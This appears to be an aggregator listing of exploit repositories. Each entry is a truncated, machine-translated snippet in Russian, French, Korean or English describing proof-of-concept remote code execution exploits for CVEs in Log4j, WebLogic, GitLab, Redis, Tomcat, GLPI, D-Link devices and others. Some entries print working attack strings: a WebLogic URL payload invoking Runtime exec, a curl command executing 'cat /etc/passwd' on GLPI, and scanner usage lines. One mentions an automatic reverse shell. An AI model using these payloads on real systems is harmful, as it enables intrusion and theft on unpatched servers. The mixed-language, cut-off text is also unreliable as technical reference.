CVE-2022-42889-RCE

CVE-2022-42889-PoC Концепт-доказательство Proof of Concept для эксплойта удалённого выполнения кода CVE-2022-42889 уязвимость Text4Shell. Поставьте ⭐ для поддержки ❤️ Об этой уязвимости CVE-2022-42889 — это новая критическая уязвимость, похожая на Spring4Shell и Log4Shell. Это уязвимость класса RC...

ElasticSearch-CVE-2014-3120

ElasticSearch recherche Exécution de code à distance CVE-2014-3120 Code POC pour exploiter CVE-2014-3120 Prérequis : python Utilisation : python elasticcheck.py Exemple : root@kitploit: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2...

CVE-2022-36067-vm2-POC-webapp

CVE-2022-36067-vm2-POC-webapp Шаги для воспроизведения 1. возможно, сначала установите vm2 глобально npm -install [email protected] -g 2. выполните: node index.js 3. перейдите по адресу http://localhost:5000/poc 4. Загрузите poc-файл например, poc2.js или код и наблюдайте RCE...

CheckHKRCE

CheckHKRCE CVE-2021-36260 Исходный код основан на: https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py Установка Python 3.8 + pip install requests Windows 10, Linux Ubuntu Использование python3 CheckHKRCE.py --rhost 192.168.1.11 --rport 80 --check CheckHKRCE.exe --rhost 192.168.1.11 --rport...

CVE-2024-32002-PoC_Chinese

Présentation de la vulnérabilité CVE-2024-32002 ⚠️ Attention ! : ne pas cloner ce dépôt !!! ⚠️ Description CVE-2024-32002 est une grave faille de sécurité découverte dans le logiciel Git. Cette vulnérabilité permet à un attaquant distant d'exécuter du code arbitraire sur un système affecté via un...

ADSelfService-Plus-RCE-CVE-2021-40539

ADSelfService-Plus-RCE-CVE-2021-40539 Outil de détection de la vulnérabilité RCE ADSelfService Plus fork Description ZOHO ManageEngine ADSelfService Plus est une solution intégrée de gestion de mots de passe en libre-service et d'authentification unique SSO pour Active Directory et les applicatio...

CVE-2024-8353

Эта статья является исследовательской публикацией EQSTLab. Благодарностьcuokon, который обнаружил эту уязвимость. Введение Дальнейший анализ CVE-2024-5932 EQST Insight R&T PDF-файл. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353 ★ CVE-2024-8353...

CVE-2024-10914

CVE-2024-10914 - Exploit d'exécution de code à distance RCE D-Link Ce script est un exploit de type preuve de concept PoC pour CVE-2024-10914, une vulnérabilité d'exécution de code à distance sur certains appareils D-Link. Le script identifie et exploite les appareils vulnérables pour exécuter de...

CVE-2020-9484

CVE-2020-9484 POC pour CVE-2020-9484 POC pour CVE-2020-9484 Apache Tomcat RCE par désérialisation CVE-2020-9484 Explorer la documentation » Pour commencer 1. Clonez ce dépôt, vous pourrez alors utiliser CVE-2020-9484 et modifier le code source si nécessaire. 2. Téléchargez ysoserial jar 3...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / Удаленное выполнение кода CVE-2019-18873, CVE-2019-18839 В FUDforum 3.0.9 обнаружено множество уязвимостей хранимого межсайтового скриптинга XSS, которые могут привести к удаленному выполнению кода. Хранимый XSS через имя пользователя на форуме: Информация ...

CVE-2021-22205

CVE-2021-22205 Description - POC pour CVE-2021-22205 : Gitlab CE/EE RCE - POC && EXP pour une vulnérabilité d'exécution de code à distance non autorisée - créé par antx le 2021-10-29. Detail - Un problème a été découvert dans GitLab CE/EE affectant toutes les versions à partir de 11.9. GitLab ne...

cve-2020-14882

CVE-2020-14882 Затронутые версии: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: root@kitploit: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';";...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Доказательство концепции Функции JNDI в Apache Log4j2 =2.14.1, используемые в конфигурации, журнальных сообщениях и параметрах, не защищают от контролируемых атакующим конечных точек LDAP и других связанных с JNDI конечных точек. Атакующий, который может контролировать...

CVE-2024-50379

CVE-2024-50379 Preuve de concept PoC Ce dépôt contient un script de preuve de concept PoC pour exploiter CVE-2024-50379 , une vulnérabilité dans Apache Tomcat. Cette vulnérabilité est une condition de concurrence race condition de type Time-of-Check Time-of-Use TOCTOU qui peut conduire à une...

CVE-2023-51409

CVE-2023-51409 AI Engine: ChatGPT Chatbot = 1.9.98 - Неавторизованная произвольная загрузка файлов через restupload Описание: Плагин AI Engine: Chatbots, Generators, Assistants, GPT 4 and more! для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файлов в функции...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP неавторизованное удаленное выполнение кода PoC Подписывайтесь на нас Vulnmachines YouTube Twitter...

CVE-2022-0543

CVE-2022-0543 Полноценный эксплойт для Redis RCE через уязвимость обхода песочницы Lua. Основан на https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/. Возможности: Автоматический reverse shell -I + -P Выполнение одной команды -x Базовая оболочк...

CVE-2021-42669

CVE-2021-42669 CVE-2021-42669 - Engineers 온라인 포털 시스템의 무제한 파일 업로드 취약점을 통한 원격 코드 실행 기술 설명: Engineers Online Portal 시스템에 무제한 파일 업로드 취약점이 존재합니다. 공격자는 이 취약점을 악용하여 영향을 받는 웹 서버에서 원격 코드 실행을 얻을 수 있습니다. 아바타가 업로드되면 /admin/uploads/ 디렉토리에 업로드되며 모든 사용자가 접근할 수 있습니다. 간단한 PHP 웹쉘을 업로드함으로써 공격자는 웹 서버에서 원격 코드 실행을 얻을 ...

CVE-2023-24489-ShareFile

ShareFile RCE CVE-2023-24489 Это Python-скрипт, который эксплуатирует уязвимость удаленного выполнения кода в приложении ShareFile CVE-2023-24489. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды на целевой системе. Использование Чтобы использовать скрипт, следуйте инструкци...

CVE-2022-35914

CVE-2022-35914 RCE non authentifié dans GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...